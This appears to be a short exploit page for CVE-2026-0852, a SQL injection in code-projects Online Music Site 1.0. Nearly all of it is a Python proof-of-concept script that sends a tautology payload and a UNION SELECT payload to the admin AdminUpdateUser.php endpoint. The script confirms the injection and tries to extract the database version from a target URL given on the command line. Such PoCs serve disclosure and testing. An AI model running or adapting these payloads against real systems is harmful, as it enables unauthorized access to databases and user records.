CVE-2026-0852: code-projects Online Music Site 1.0 SQL注入漏洞

import requests import sys # CVE-2026-0852 SQL Injection PoC # Target: code-projects Online Music Site 1.0 # Endpoint: /Administrator/PHP/AdminUpdateUser.php def exploit_sqli(target_url, param_id): """ SQL Injection PoC for CVE-2026-0852 This PoC demonstrates blind boolean-based SQL injection """ # Basic injection test - check for error response injection_test = "' OR '1'='1" url = f"{target_url}/Administrator/PHP/AdminUpdateUser.php" # Test 1: Basic error-based injection params = {'ID': injection_test} try: response = requests.get(url, params=params, timeout=10) if 'sql' in response.text.lower() or 'error' in response.text.lower(): print("[+] SQL Injection vulnerability confirmed!") return True except Exception as e: print(f"[-] Request failed: {e}") # Test 2: UNION-based injection to extract database version union_payload = "' UNION SELECT NULL,version(),NULL,NULL---" params = {'ID': union_payload} try: response = requests.get(url, params=params, timeout=10) if '5.' in response.text or '8.' in response.text: print("[+] Database version extracted successfully") except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-0852.py <target_url>") print("Example: python cve-2026-0852.py http://localhost/OnlineMusicSite") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2026-0852 on {target}") exploit_sqli(target, "1")